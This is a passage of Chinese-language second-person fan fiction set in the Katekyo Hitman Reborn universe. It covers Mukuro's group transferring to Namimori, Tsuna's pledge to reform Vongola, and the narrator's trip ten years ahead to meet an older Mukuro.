直到你走后,六道骸还保持着举手的动作,一副不知道在想什么的样子。城岛犬凑近瞅了眼六道骸的手,仔仔细细打量了番,城岛犬疑惑道:“感觉绷带没有问题啊,也没有血渗出来。” 柿本千种淡淡瞥了城岛犬一眼,“绷带一直不换也会引发感染。” 对伤口态度一直很粗糙的城岛犬:“真是麻烦,这点小伤很快就会好啦。” 城岛犬说这话的时候超级小声,他甚至还瞄了门外几眼,生怕你会突然出现。算了,不过这种感觉也还不错,城岛犬起身伸了个懒腰,他走到落地窗前眺望着远方,身体歇了几天,城岛犬感觉自己都快生锈了。 没多久,你又回来了。 “谁先来?” 城岛犬第一个来到你面前,他盘腿乖巧坐下,嘴里还不忘嘀嘀咕咕,“本大爷完全可以自己动手。” 你没在意犬的嘀咕,只是不轻不重拍了他脑袋一下,“不可以有异议。” 城岛犬屈服了。 硬要说的话,三个人最严重的伤几乎都在上半身。从城岛犬开始,然后是柿本千种,最后是六道骸,你一个一个拆下他们的绷带再重新包扎。经过三天的修养,大家的伤口基本结痂,甚至有几个痂皮都脱落了,你看到那些脱落后的伤口处重新长出了浅粉色的新肉。 动作放轻,你好奇抚摸了下那块新肉,新长出的肤色粉嫩细腻,察觉到手下呼吸的起伏开始变得急促,你顿住动作,转而抬头看向六道骸,“弄疼你了吗?” 六道骸微妙停顿了几秒,他不动声色放缓呼吸,忍耐着古怪的痒意和细微的不自在,六道骸稍稍别过脸,半长的发丝不经意垂落遮住他的眼睛,六道骸压抑着古怪的声音,“……不,我很好。” 你仔细观察了六道骸几秒,确认他脸上没有痛苦的表情后,你这才放下心,“伤口恢复得不错,基本都结痂了,痒的话不可以去挠,也不可以去抠挖!” 见城岛犬还是一副不以为意的样子,你笑眯眯地威胁:“要是被我发现了……犬,你不会想知道后果的。” 城岛犬:“啊?为什么只说我一个人啊?” 回应他的是你轻轻扯动的锁链。 你的疼痛后遗症并没有持续很久,等到情绪好转后,犹豫了好几天,你还是选择摘掉了他们手腕上的锁链。 ——当然,主力是六道骸。 虽然你不是很清楚六道骸为什么明明有能力毁坏锁链,但却没有损坏,不过在此过程中你的心情很愉悦,只这点就足够了。恰好这时候,大家的伤势也基本好全了。 挑了个好日子庆祝一番后,你决定聊聊你们的未来。比如说,有关离开并盛的这件事。只是六道骸的态度和你想象中的似乎不一样。 “哦呀,春也是想离开并盛了吗?” 六道骸的语气和往常无异,但你敏锐发现似乎有什么地方改变了。 “没想到沢田纲吉竟然意外的强大,再加上现在并盛大半几乎都是我们的敌人,继续留在这里只会对我们不利。” “更何况,黑手党的主要根据地在意大利。” 城岛犬没什么意见,“春也说得也是,那我们什么时候离开啊?” 柿本千种没有和城岛犬一样立刻发表意见,他不动声色瞥了骸大人一眼,又看了你一眼,压下心里隐隐的不安,柿本千种重新看向六道骸。 “骸大人有什么打算?” 六道骸目光幽深地盯着桌面上鲜活艳丽的百合花,今天柿本千种刚刚才给它浇过水,柔软的花叶上甚至还残留着剔透晶莹的水珠。过了不知多久,六道骸才缓慢开口:“kufufu…夺取彭格列十代目的身体会使我们的计划更加顺利。” “现在还不能放弃。” 你看到六道骸的视线缓缓移到你身上,红色眼珠里的“六”隐约跳动了下,他轻缓地叫了声你的名字。 “春也,你要离开…吗?” 城岛犬和柿本千种也扭过头,眼巴巴等待着你的回应,你叹了口气,“不,既然这是骸骸的计划,那么我肯定是支持的。” 甚至,为了计划能够更加顺利地执行,六道骸、城岛犬和柿本千种三个人还转入了并盛中学,与你同班。 第108章 黑曜战后, 沢田纲吉的日常再次变得平静祥和起来,就好像之前那些危险的经历只是世界打盹时不小心生成的意外。 这些天,大家的伤势基本痊愈, 沢田纲吉一直提着的心总算落了下来, 精神松懈下来, 沢田纲吉恍然惊觉, 他竟然一直都没有见到你的身影。 ……还会再见到吗? 沢田纲吉丧气地趴在桌上,脑袋像骆驼一样深深埋入臂弯, 他悄悄从露出的缝隙里看向你的桌子, 沢田纲吉第一次觉得心脏酸酸闷闷的令他不舒服。你的名字缓缓在舌尖绕了一圈,最终, 他也没能堂堂正正再次叫一声你的名字。 “新来的转学生……” 教室里又一次传来奇怪的骚动感,沢田纲吉完全提不起丝毫兴致。这些天他只敢远远路过你家看上一眼,确定你还没有离开并盛后,沢田纲吉这才稍稍安心,他也想去看望你, 但沢田纲吉完全想不到一个合适的借口。 ……想要见你,想要告诉你他心里真正的想法, 想要继续和你做朋友。但是, 想起你厌恶的眼神,沢田纲吉忽然又有些胆怯地不敢迈出第一步。 “滋啦——” 忽然,一阵刺耳的声音召醒了沉浸在自己思绪里的沢田纲吉,他揉了揉耳朵后抬起头,发现是前方的狱寺隼人搞出来的声音。 狱寺隼人没想到还会再见到那几个人,他立马警惕地挡在沢田纲吉身前。没想到起身的动作过快,椅子和地面摩擦后发出刺耳到令人皱眉的尖锐噪音。 “居然还追到了这里吗?!”狱寺隼人冷笑,什么转学生, 真是笑掉大牙,怕又是他们搞出来的借口。“这一次,我绝对不会放过你们!!” 沢田纲吉有些疑惑狱寺隼人的反应,难不成是狱寺的敌人?他好奇地侧过身子看向讲台,看清来人后,沢田纲吉立马惊恐地缩了回去。 噫?!居然是六道骸一伙人!!什么情况?他们不是黑曜的学生吗?最主要的是云雀学长居然会同意这三个家伙转校进来吗?!! 沢田纲吉已经可以预料到并盛未来的刀光剑影了。 等等——他们现在会出现在这里,是不是说明春也也会出现?! 沢田纲吉再次探出脑袋,左右看了一圈,他暂时没有发现你的身影,沢田纲吉又泄气地趴回桌面。 半长的刘海遮住右眼,六道骸一脸的纯真,他扭头看向隐隐有些生气的老师,六道骸丝毫不介意再添一把火。 “kufufu…老师的学生很特别啊,这就是你们并盛的欢迎仪式吗?” 地中海老师彻底爆发了,“狱!寺!隼!人!你就是这么欢迎新同学的?!!现在立刻马上,你给我站到外面去听课。” 狱寺隼人和老师对视几秒,迎着对方越来越愤怒的视线,最终,狱寺隼人还是别过脸憋气地出去了。路过六道骸时,狱寺隼人恶狠狠瞪了他一眼,却只换来了六道骸漫不经心的视线。 狱寺隼人不爽:该死的臭菠萝!! 等他出了教室,狱寺隼人散漫又随意地靠墙站立,不经意眺望围墙,他意外发现了一道熟悉的身影,狱寺隼人眯起眼睛仔细观察。 这个时间点还有人敢在门口徘徊,又是六道骸的人吗? 距离隔得有些远,再加上看不到正脸,狱寺隼人在脑子里快速过了遍人脸,隐约间,他突兀想起了小时候见过的你。 翡翠色的眼睛微眯,狱寺隼人排除了这个不可能的想法。不,也不对,狱寺隼人记得你过去跟他说话,你似乎就在并盛,但奇怪的是,他完全没有在这发现过你的身影。 狱寺隼人并不知道他转学过来的那几天恰好是你不上课的时候,黑曜战你出面时他也早就晕厥过去,于是,狱寺隼人就这样硬生生错过了好几次能见到你的机会。 指尖摸上口袋的烟和炸药,狱寺隼人随意扫了你一眼,又重新关注起教室里的动静。 除了狱寺隼人,上课期间,山本武也一直不动声色地观察六道骸那三人。 城岛犬和柿本千种恰好坐在沢田纲吉身后,六道骸一人独享两张座位。城岛犬完全没有掩饰自己恶劣的视线,沢田纲吉在对方目光的沐浴下如坐针毡,他不由紧张地咽了咽口水。 整个课堂,沢田纲吉都处于坐立不安的状态,直到下课铃声响起他才稍稍放松下来。出乎他意料的是,城岛犬和柿本千种并没有找他的麻烦,这让沢田纲吉一直悬着的心勉强放了下来。 “别露出那副蠢表情,蠢纲。” 里包恩不知什么时候出现在沢田纲吉的桌面,他淡淡瞥了六道骸一眼,黑曜战后,里包恩是唯一一个拥有完整记忆的存在。只可惜那段堪称疯魔的记忆完全无法细致回忆,想到你,里包恩目光深邃不可捉摸。 看到里包恩,沢田纲吉左看看右看看,小心避开城岛犬他们的视线,沢田纲吉弯下腰凑到里包恩身边小声问道:“里包恩,你知道六道骸他们为什么会转过来吗?” 里包恩露出了一个意味深长的表情,“你以后会知道的。” 虽然他觉得六道骸的存在太过不可控,但总归他在,局面可以控制住。 城岛犬、柿本千种和六道骸来到并盛可不是单纯为了上课的,就像他们当初进入黑曜只是因为黑曜的校服更好看一样,六道骸的最终目的是为了夺取沢田纲吉的身体。 在那之前…… “犬,千种,骸。”你的出现打断了六道骸的思考,不紧不慢来到他们面前,你完全没有给其他人一丝目光,“我们走吧。” 昨天你们说好了,今天只是先来并盛中学熟悉一下环境,更何况,按照犬的性子,他也不是很愿意坐在枯燥无趣的教室里乖乖呆上一整天。 看到你,城岛犬眼睛唰的亮起,“春也来的好慢啊,我坐在这里都快发霉了。” 讲台上讲的什么方程啊X啊赏析啊,听的城岛犬头都大了,天知道人为什么要分析“鱼的眼睛里有诡异的光”啊,他又不是没见过死鱼,这种题目根本就不科学!!城岛犬宁愿去解决目标猎物也不愿在这里算什么放水开水需要多少时间! 你没忍住笑了下:“那走吧,带你去买小零食。” 在你和城岛犬对话的时候,沢田纲吉就坐在位置上一动不动,他悄悄竖起耳朵听你们的对话,沢田纲吉忽然又庆幸起来城岛犬坐在他身后,不然他可能就无法离你这么近了。 想到你刚刚走进教室后根本没有往他这边看一眼,沢田纲吉忍不住失落地耷拉着脑袋。里包恩看着沢田纲吉现在的模样,漆黑的眼珠幽幽瞥向你,里包恩忽然发现,总是萦绕在你身上似有若无的危险感不见了。 手指轻轻摸了摸列恩,里包恩神色不明地注视着你们的离开的背影,余光瞥见沢田纲吉还是那副颓然泄气的样子,一个回旋踢,里包恩踢醒了沢田纲吉。 “我什么时候教过你自我放弃和止步不前?想要什么就伸手去拿,蠢纲。”列恩变换枪支,里包恩举枪对准沢田纲吉,“去说出你内心最真实的想法。” “砰!” “拼死也要继续和春也继续做朋友!!” 被沢田纲吉遗忘在教室里的左右手愣了两秒,然后立刻跟了上去。只可惜沢田纲吉的速度实在太快了,狱寺隼人和山本武还是落下了一大截距离。 你和犬他们正在往便利店走去,忽然,身后传来奇怪的奔跑声,你下意识回头,恰好看到沢田纲吉又一次裸着身体奔向你。 沢田纲吉脑袋冒火,眼神异常坚定:“春也——!!” 城岛犬和柿本千种下意识挡在你身前,“这家伙现在才来寻仇吗?!” 沢田纲吉撞开了城岛犬和柿本千种,他直直站在你面前,双手搭上你的肩膀,手指用力得几乎要陷入你肉里。 “绝对不想要和春也就此分开!请和我继续做朋友吧!!” 一旁的六道骸拿三叉戟叉起撞飞的犬和千种,他神色莫名地看向你们,视线在沢田纲吉脑袋上的火焰短暂停留了一秒,六道骸眯起眼睛,想看看沢田纲吉对他的春也还能说出什么话来。 你神色冷淡:“是吗,可我不想。” 沢田纲吉脑袋上的火焰慢慢消失,但他并没有选择放手,即便火焰消失,但他眼底的神色依旧坚定认真。 “我知道春也讨厌黑手党,我也是春也讨厌的黑手党一员。我无法自大地说出我和春也见过的那些黑手党都是不一样的,就算过去我曾是普通人,但在我无知无觉的岁月里,我也承受了这份来自黑手党的血脉和财富。” “为了更加了解彭格列和黑手党,我这些天一直在认真钻研彭格列的历史,还有其他黑手党家族的一切摆在明面上的事情,包括已经消失在里世界的艾斯托拉涅欧家族。” 听到这里,你挣扎的动作缓缓放轻,这么多天以来,你第一次正视沢田纲吉。 “我第一次正视了黑手党的罪恶,我也终于明白过去我的推拒我的随波逐流都是不够正确清晰的。起码目前,这么弱小的我是无法选择自己的命运的……我也不知道未来的我会不会改变继承彭格列的想法,但是我唯一可以向春也肯定的是,我绝不会任由彭格列变成纯粹的黑手党。” 闲下来后,沢田纲吉没有继续选择排斥黑手党的一切事情,他第一次认真主动地去了解彭格列过往的历史。而当沢田纲吉有了这份心思后,他想要了解的东西都送到了他手上,也因此,沢田纲吉知道了自己那个不着调的在南极挖石油的父亲还活着,并且是彭格列的门外顾问。 不光是自己的突然活了的父亲,那些黑暗的一面也一并在他眼前徐徐揭露,沢田纲吉终于明白了彭格列到底是怎样一个黑手党家族。 从初始目的为保护的自卫队到底色暴力黑暗的黑手党,彭格列也经历了漫长的演变过程。读着残存的初代彭格列事迹,和历代彭格列首领所掌握的特殊力道,沢田纲吉轻轻抚摸着彭格列历史,一向温和没有攻击力的眼神缓缓变得坚定认真。 如果……继承这份力量代表他必须要继承这份罪孽…… “如果未来有一天我成为了真正的彭格列第十代,我会先从彭格列开始慢慢改变。如果实在无法拯救与改变,如果我继承的一直都是暴力与罪恶的黑手党组织,那么,我发誓……” 沢田纲吉眼里是前所未有的决绝:“我一定会亲手摧毁这样的彭格列——!!” 第109章 沢田纲吉坚决响亮的声音回荡在这片寂寥的街道, 久久没有消散,总是软弱可欺的脸第一次在你面前展露出了攻击性。 他紧紧抓着你的手,远处, 夕阳灿烈的余晖热烈又恍若倾注所有地照在他眼瞳, 有那么一瞬间, 沢田纲吉像光一样, 直直照入你的心脏。 “在那之前,可以请春也一直一直一直看着我吗?” 沢田纲吉一股脑地把他心里所有的想法一口气都说了出来, 他怕错过这次你就再也不愿意给他停留的时间了。 手心紧张地冒汗, 沢田纲吉担心你会听不到一半就转身离开,所以他两只手死死抓着你的手臂, 湿漉漉的掌心贴在你温凉的皮肤,沢田纲吉执拗地盯着你不放。 “春也…愿意成为我的锚点吗?” 暖棕色的瞳孔里闪烁着点点星光,沢田纲吉的神情是前所未有的认真,你抬头看他,眼里终于落下了他的身影。 但沢田纲吉没有等到你的回答, 他等来的是一把危险尖锐的三叉戟。六道骸越听越感觉不对劲,没等你想好说什么, 他就率先出手阻拦了沢田纲吉还想继续引诱你的甜言蜜语。 六道骸:“ kufufu…黑手党还是不要做那些美梦了呢。” 锚点……?春也有且仅有的锚点只会是他们。 六道骸圈住你的手腕, 皮笑肉不笑道:“我还在这里站着呢。哦呀,怎么,彭格列手下是没人了吗,要来抢我的手下?” 城岛犬站稳后立刻来到你面前,天知道为什么瘦瘦弱弱没有攻击力的沢田纲吉会拥有这么奇怪的大力,而且还撞飞了他和小柿!城岛犬用力拍掉沢田纲吉黏在你身上的手,龇牙恐吓一番,他和柿本千种两个人一左一右站在你身边。 “什么锚点啊, 别开玩笑了,春也才不会和你一起!” 这一次,沢田纲吉丝毫没有理会外人的酸言酸语,他的目光始终牢牢锁在你身上,“我想知道春也的回答。” 你淡淡垂下眼睛,没有人知道你心底的真实想法,灰蓝色的眼睛倒映着每个人的表情,你漫不经心说道:“可那是你的事,与我无关。” 说完,你拍拍还在原地傻傻龇牙的犬,“我们走吧。” 城岛犬眼睛立马亮起,他拉着你的手就往外走,“本大爷可是知道这里有一家新开的便利店,里面的东西全是我喜欢的。” 柿本千种托了托眼镜,笑道:“根本没有你不喜欢的东西吧。” 沢田纲吉上前一步想要拉住你,可城岛犬和柿本千种牢牢护在你身旁,沢田纲吉根本插不进去。 “那我们之间剩下的最后三个愿望呢?”沢田纲吉的声音急切又难过,“我还没有完成我们最后的约定。” 你顿了顿脚步,头也没回道:“事到如今,你觉得那些还有意义吗?” “当然有!” “抱歉,但是我觉得已经没意义了。” 沢田纲吉站在原地,他默默捏紧垂在身侧的拳头,看着你远去的背影,沢田纲吉沉寂片刻,缓缓坚定了内心的想法。 不,怎么会没有意义呢。 “不管怎样,我会向你证明的!” 不管怎样,他绝不想你离开他的生活!如果摆在你们之间的阻碍是黑手党这层身份,那么他干脆全部推翻重来! 夕阳缓缓下坠,林梢间的阴影落在他脸上,沢田纲吉直直望着你的身影,下颌线因为这段时间的训练渐渐变得锋利。风吹过,树叶摇曳,打在沢田纲吉脸上的阴影也变幻着位置,隐约间,沢田纲吉好似有了十年后的影子。 * 自从沢田纲吉和你郑重发过誓后,你发现沢田纲吉好像粘上了你。 过去沢田纲吉也会和你一起玩,但那个时候他更像一只快乐小狗,只要你一挥手他就会乐颠颠地朝你跑来,就算你不理他,沢田纲吉也能一个人自娱自乐,偶尔才会因为你过于忽略他而黏糊糊地凑过来贴上你。 但是,现在不一样了。 “春也,好巧。” 出门没多久就看到一张笑容灿烂的脸,你微妙顿住脚步,“今天也是巧合?” 见你还愿意和他说话,沢田纲吉脸上的笑容更加灿烂了,他不好意思地挠了挠脸,有点羞涩道:“因为我上学也是这条路啦。” 沢田纲吉丝毫不提自己前期做的准备——先是暗戳戳观察等到你出门,然后他对着分叉路口就是一个百米冲刺,最后紧赶慢赶才能跑到你前面。要不是里包恩之前对他特训过,沢田纲吉险些要失败。 不过,几天下来,他对这一套流程已经非常熟悉了。 同行时,沢田纲吉总是会和你分享他最近的所作所为,偶尔还会参杂些对忙碌日常的抱怨,“蓝波和狱寺每次一见面都会吵闹,有的时候还会互扔炸药,偶尔蓝波还会大胆地在里包恩头上拔毛……” “自从我开始主动接下训练任务后,我总感觉里包恩对我的要求越来越严格了,上次要不是我躲避及时,差点就要死掉了啦。” 沢田纲吉的想法很大胆,但实际实施起来并不是一件简单的事,先不提他现在还只是彭格列第十代候选人,光是他的想法在纯黑的黑手党世界里就是一盏格格不入的昼灯。 要达成他心中的目标,首先,沢田纲吉自己得强大起来,所以他现在彻底支棱起来,开始积极问里包恩领取训练任务。 蠢弟子开始上进,不管出于什么原因,里包恩老师都很欣慰,但背后说他坏话的事情还是不被允许的。 里包恩:“你对我的教学任务很有意见吗,蠢纲。” 沢田纲吉身体一僵,他连忙摇头,“当然不是!” 要是被里包恩知道他的背地里的吐槽,小心眼的里包恩绝对会在下次训练血虐他的! “砰!” 一个干净利落的后旋踢,仗着自己不是黑手党的身份,里包恩淡定站在你肩膀,“我可是有读心术的哦,蠢纲,你在想什么我都知道。” 沢田纲吉头顶大包,他明显相信了家庭教师的鬼话:“噫——?!” 你不想再去看黑手党和杀手之间宛如过家家一样戏剧的师生互动,瞥了眼站在你肩膀上的里包恩,你神色莫名,换来后者无辜歪头,“我可不是邪恶的黑手党哦。” 里包恩优雅地抬了抬帽檐,一旁的列恩也眨巴眨巴眼睛乖巧无辜地看向你,“我只是一名优秀的杀手,杀手可不在你的狩猎范围呢。” 你冷哼一声,“做了黑手党老师的杀手吗?” 里包恩摊手,“偶尔也会赚点外快。” “当然,如果我知道未来会见到你,说不定会对成为老师这件事更加深思熟虑一点呢。” 意大利男人的情话张嘴就来,浪漫仿佛是他们与生俱来的本领。 你沉默地加快脚步,不想去管这些讨厌的纷扰。至于里包恩……看了眼对方的模样,你觉得自己还没有坏到要去欺负一个小婴儿的地步。 里包恩没在意你的目光,他好似完全没察觉你不想搭话的心思,里包恩漫不经心地开口:“今天你的三位保镖没有跟在你身边护卫吗?” 提到犬、千种和骸骸,你的眼神更加阴郁。“这和你似乎没有关系吧。” 努力克制了下自己想要脱口而出的刻薄语录,你冷笑,“这位多管闲事的杀手先生,我已经到学校了,现在可以请你从我身上下来了吗?” “风纪委员们可不会允许你这样的小孩子出现在学校里面呢。” 里包恩挑眉,他漫不经心瞥了眼你阴郁透着浓浓恶意的灰蓝眼睛,漆黑的大圆眼珠一眨不眨,几秒过后,里包恩轻巧跳离你的肩膀,他若有所思望着你走进校门的背影,身后是沢田纲吉姗姗来迟的身影。 你没有再关注身后的动静,自从里包恩提到犬他们后,你的心情变得更差了。 这些天你明显发现他们似乎又有了新的事情瞒着你,所以今天一早,你根本没有等他们,而是选择自己一个人去学校。本来你都不想来了,但是骸骸对这里似乎很有兴趣…… 调离位置坐到骸骸身边后,你隐约发现六道骸的关注点和你想象中的不太一样,再加上风纪委员长好像有特殊雷达,一找到六道骸就要与他对打…… 发现六道骸没没吃亏后,久而久之,你也懒得管他们这两个战斗狂了。 不过现在你最想知道的是,六道骸、城岛犬和柿本千种到底背着你有了什么新的秘密?总不可能是他们加入了黑手党吧,你把这种荒谬的念头甩出脑袋,单手撑着下巴,你叹了口气。 说起来,这个年纪,刚好是青春期啊。男生之间的小秘密会不会是一些无法和你说的内容呢,毕竟每次你询问时,犬都是支支吾吾开不了口的模样。 ……可是,家人之间,怎么能有秘密呢。 日子一天一天过,渐渐的,平静的日常下不知何时涌起危险的潮流,你隐隐嗅到了危险的气息,一番推测下,你很肯定这股变动是沢田纲吉带来的,毕竟他的身份就是一个威胁。但这都和你关系不大,你还是更在意犬、千种和骸的秘密。 地点:黑曜乐园人物:城岛犬、柿本千种、库洛姆 拆开的零食随意扔在地上,城岛犬烦躁地抓了抓头发,“我们到底该怎么和春也开口啊。” 柿本千种沉默看着破败的黑曜乐园,自从上次大战过后,黑曜乐园已经被摧毁的不成样子了,所以骸大人又简单重新装修了下这里。 想到骸大人,柿本千种不免又想起前不久彭格列送过来的雾守戒指…… 柿本千种:“春也对黑手党的态度不会变,而骸大人现在又算是接受了他们的戒指……如果春也知道了……” 城岛犬接过话头:“可能会原谅我们?” 柿本千种摇了摇头,他理智地说道:“春也的反应可能会更大,她和我们两个不一样。” 城岛犬不能理解,“哪里不一样?” 柿本千种:“我们是完全坚定地跟随骸大人,不管骸大人做什么我们都会支持。但春也当初是我们硬生生留下的。” 安静坐在角落的库洛姆听着城岛犬和柿本千种的对话,她不自觉握紧手里的三叉戟,小声说道:“但是,这样一直瞒着,后果才会更严重吧。” 柿本千种:“春也很聪明,她已经开始察觉到我们有事情瞒着她了。” 城岛犬:“要不先说库洛姆是骸大人找的徒弟……” 柿本千种:“那万一以后春也在彭格列那边看到了库洛姆怎么解释?” …… 几个人讨论了很多天都没讨论个合适的章程,但是今天好像不一样,没怎么掩饰的脚步声缓缓靠近,城岛犬和柿本千种对视一眼,然后顺着脚步声出现的地方看去。 ——果然是春也。 “所以,有什么是不能告诉我的吗?” 双手抱胸,你面无表情盯着他们,跟踪了好几次,这一次,你终于成功抓到了他们的小辫子。 “我可是给过你们一个星期的坦白时间,奈何某几个人根本就没这个自觉啊。” 城岛犬和柿本千种对视一眼,城岛犬轻咳一声,“也不是不能告诉啦,就是我们还没有想好该怎么说……” “哦?是吗?”视线越过犬和千种,你直直看向藏在他们身后的眼罩女孩,对方留着和骸一样的凤梨头,你的眼里闪过怀疑的目光,“难不成…她其实是骸的女儿?” 还没等犬和千种反驳,你又自顾自推翻了自己的推理,“不,不对,年龄对不上啊。” “是新收的徒弟吗?” 城岛犬&柿本千种:不,其实是骸大人给自己留的后手,毕竟严格意义上来讲,他们现在已经算是彭格列的人了。 但是这种事情根本说不出口啊,他们之间根本没有人会想要和你分开。 库洛姆怯生生地看了你一眼,犹豫了下,她不自觉攥紧手里的三叉戟,上前迈出一步,库洛姆深吸口一气,正当她努力鼓起勇气想和你搭话时,奇怪的紫色火箭筒突兀地飞向了你。 在所有人都没反应过来时,你完全消失在了粉紫色烟雾里。 第110章 等到粉紫色烟雾消失后, 你的眼前已没了犬和千种的人影,你不由皱起眉头。 现在的绑架方式已经先进到这种地步了吗?你都没看到人动手,犬和千种就消失在了你眼皮底下。你警惕地扫视周围环境想看看有没有什么线索, 待看清后, 你整个人忽然僵在了原地。 等等, 被绑架的好像是你本人?! 完全搞不清楚状况的你打量起周围陌生的环境, 你很确定自己对这里完全陌生。 上百平的房间装修低调奢华,细细看去竟全是你喜爱的装修。你的人际关系网很简单, 而真正对你了若指掌的人你又不觉得他有这么做的必要。最重要的是, 当时的犬和千种可还是在你面前呢。 信任地把嫌疑人的标识从他们身上划掉,你警惕地观察起眼前陌生的房间。 灿烂的金色阳光穿透偌大的落地窗直直照亮整间房屋, 摆在下方茶几上的花瓶里插满了颜色各异的玫瑰,耀眼的阳光毫不吝啬地照在完全盛开的鲜花上,衬得本就糜艳的玫瑰更加秾丽。 落地窗前是一个足够容纳四人位的巨型吊椅,柔软洁白的毛毯铺在上面,不, 不光是吊椅。 往前迈出一步,柔软的触感令你忍不住低下头, 你这才发现这间屋子的地面全都铺上了绒绒的毛毯。不仅如此, 所有有威胁的尖锐角面全都被切割成了圆弧,乍一看这里就像是完全不会出现危害的童话世界。 忽然,余光里出现了一道刺眼的反光。迟疑片刻,想着可能会有什么线索,你小心翼翼往反光的方向走去,一个藏在玻璃柜中的相框悄然映入你眼帘。 ——是你和犬、千种还有骸骸的合照。 相片里的你穿着毛茸茸的羽毛大衣,背景是庄严肃穆的教堂,直指穹顶的钟表刚刚好走向午夜十二点, 你手里的仙女棒和高空中的烟花一同炸开,璀璨的光芒点亮了你们的眼睛,也点亮了你们四个人的小天地。 看到这里,你的心里忽然产生了一个荒谬的想法。 突然,一只猫头鹰打断了你的思考,小家伙扑腾着翅膀直愣愣朝你飞了过来。你完全不知道这只猫头鹰是从哪里飞来的,看它飞得横冲直撞的,你担心它会撞到墙,不由抬手想要抱住它。 猫头鹰眨巴眨巴大眼睛顺势往你怀里一歪,沉甸甸的重量压的你手一沉。 你:“还挺沉。” 猫头鹰对你很亲昵,小家伙扑腾着小翅膀就想黏在你身上,毛茸茸的脑袋使劲往你怀里拱,嘴里还发出嘤嘤嘤的撒娇声。瞥见它的异瞳,你又想起刚刚看到的相框,你瞬间理解一切。 你若有所思地捋着它的毛:“所以…你是骸骸新捡回来的吗?” 在你没有看到的地方,猫头鹰红色右眼里的数字六快速跳动了下,然后又很快沉寂下来。 双手捧起猫头鹰,你盯着它红色眼珠里的数字六,迟疑一秒,你缓缓出声:“骸?” “kufufufu…我在这里。” 古怪的雾气突兀出现在你身后,听到熟悉的声音,你眼睛一亮立马回头。 缥缈虚无的雾气缓慢消散,一道人影逐渐浮现在你眼前,望着对方熟悉的凤梨头,你刚想扑上去,下一秒,雾气彻底消散后,你看到了对方长到腰际的头发和高挑挺拔的身体。 犹豫着,你顿在原地不确定地开口:“……骸?” “哦呀,春也连我都认不出了吗?” 十年后的六道骸缓步朝你走来,锃亮的长筒皮鞋踩在地面发出哒哒哒的清脆响声,六道骸慢慢走到你面前站定,抬手捏起黏人的骸枭扔走,他唇角勾起,神情晦涩不明。 “kufufu…欢迎春也来到十年后的世界。” 你:“十年后?” “是十年火箭筒,那是波维诺家族代代相传的武器,被火箭筒砸中的人会和十年后的自己交换。” 六道骸漫不经心解释着你到来的原因,幽深诡谲的视线自你出现后再也没有从你身上离开过,六道骸弯腰又向你靠近一点,“不过交换的时间只有五分钟,五分钟过后,春也又会回到十年前呢。” 说这话的时候,你明显感觉他的声音里带了些古怪的遗憾和惋惜。明明对方是你熟悉的六道骸,但不由自主地,望着他逐渐贴近的脸庞,你不由自主地后退了一步。一瞬间,原本还算轻松的气氛骤然变得窒息黏稠起来。 好奇怪,十年会让人产生这么大的变化吗?你隐隐有些不解。 十年后的六道骸看上去危险又神秘,极具压迫感的身高缓缓朝你侵身时,连带着他身上危险的硝烟味和隐隐残留的血腥味一同朝你袭来,你甚至可以看到他衣摆处不明显的红色痕迹。 但这些都不重要,你更在意的是六道骸带给你古怪的压迫感。 六道骸比你想的要更在意你躲避的动作,瞳孔微缩,他低低笑出声,在你察觉到不对时,六道骸恰到好处地抬起头,苍□□ 致的脸上挂着几分浮于言表的脆弱,“我可是察觉到春也出现的瞬间就赶来了呢,难道春也不想对十年后的我说些什么吗?” 看着六道骸隐隐虚弱的模样,你瞬间遗忘掉了刚刚的不对劲,担忧的情绪占上分,你重新往前迈步,认真检查着他的身体,你忧虑道:“你受伤了吗骸骸?” 六道骸古怪笑了两声,“不过是些小伤。” 明明刚刚表露出脆弱的是他,但现在云淡风轻的还是他。 “春也真要这么担心的话,就抱一下吧。”六道骸语气轻佻又散漫,深邃幽暗的异瞳一眨不眨盯着你,他静静等待着你的回答。 瞥见对方无辜的模样,莫名的,你总感觉现在的六道骸不算开心。叹了口气,你上前一步缓缓抱住他,“小伤口也要重视啊,每次我受了伤大家就很在意,骸骸受伤我也会在意的。” “拥抱又不是什么良药。” 十年后的六道骸比你高出一个头,抱住他的时候,你的脑袋恰好蹭到他的下巴。因为担心会碰到伤口,你只是虚虚环抱住他。 六道骸垂目静静盯着你,猩红的眼珠里不断跳动着数字,感知着你全身心的放松和依赖,以及他许久没听到的称呼,缓慢的,六道骸收紧了这个怀抱,他意味不明地说道:“不,这就是最好的良药。” “好啦好啦,你说是就是。”你拍拍六道骸越箍越紧的手臂,“先把我松开啦,我来给你上药。” 六道骸稍稍松了点力道,恰好是你能挣扎出的度。 你:“医药箱呢?骸骸快拿过来。” 闻言,六道骸乖乖把他万年不用的医药箱拿了过来。他随意坐在椅子上,戴着黑手套的手一颗一颗缓慢解开胸前的衬衫扣,常年穿着长袖长裤,六道骸皮肤苍白到快要透明。 黑手套的存在实在过于显眼,你的视线下意识顺着他手的动作移动。黑手套完美包裹着六道骸修长干净的手指,见你神情专注地盯着他,六道骸的眼角染上一层微不可察的笑意,手指轻轻勾起解开的衬衫一角,六道骸动作优雅地向后靠上椅背,一副完全任你摆弄的姿势。 拿着绷带和酒精的手顿住,你呆呆瞪圆了眼睛。十年后的六道骸身材更好了,薄薄的肌肉均匀覆盖在他身上每一寸,随着他的每一次呼吸,线条明显的腹肌轻微起伏着,上面残留着几道还未完全消去的疤痕,有几道伤疤甚至顺着人鱼线的方向隐隐没入裤腰。 就在这里,一道再不抢救就要痊愈的小伤口安静出现了你面前。 六道骸似笑非笑盯着你:“kufufu…我可是说了是小伤呢。” 你轻咳一声:“小伤就不用包扎了吗?” 视线缓慢下移,六道骸低头盯着你毛茸茸的小发旋,他难得神色恍惚地回忆起了过去。 ——到底是从哪一步开始走错了的呢?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 十年后的六道骸对这五分钟格外敏感, 他一边在心里幽幽掐着秒,一边垂下眼睛安静看你认真给他包扎。 幻术师的五感尤其敏锐,六道骸清晰感知到冰凉的酒精轻轻拂过他的小腹, 然后你轻缓勾起细腻绵软的绷带, 一层一层缠上他的腰腹。 突兀的, 六道骸想起了他某次的剿灭行动, 走投无路的敌人孤注一掷投入大海汪洋般的森林。 那时正值夏日,燥热黏腻的天气混杂着林中有气无力的虫鸣, 偶尔响起几声歇斯底里的蝉鸣。六道骸犹如鬼魅般漫不经心戏弄着猎物, 听着干枯杂草树枝踩碎在脚下的声音,他抬手随意拂开前方遮挡视野的枝干, 然后一脚踏入蜘蛛的陷阱。 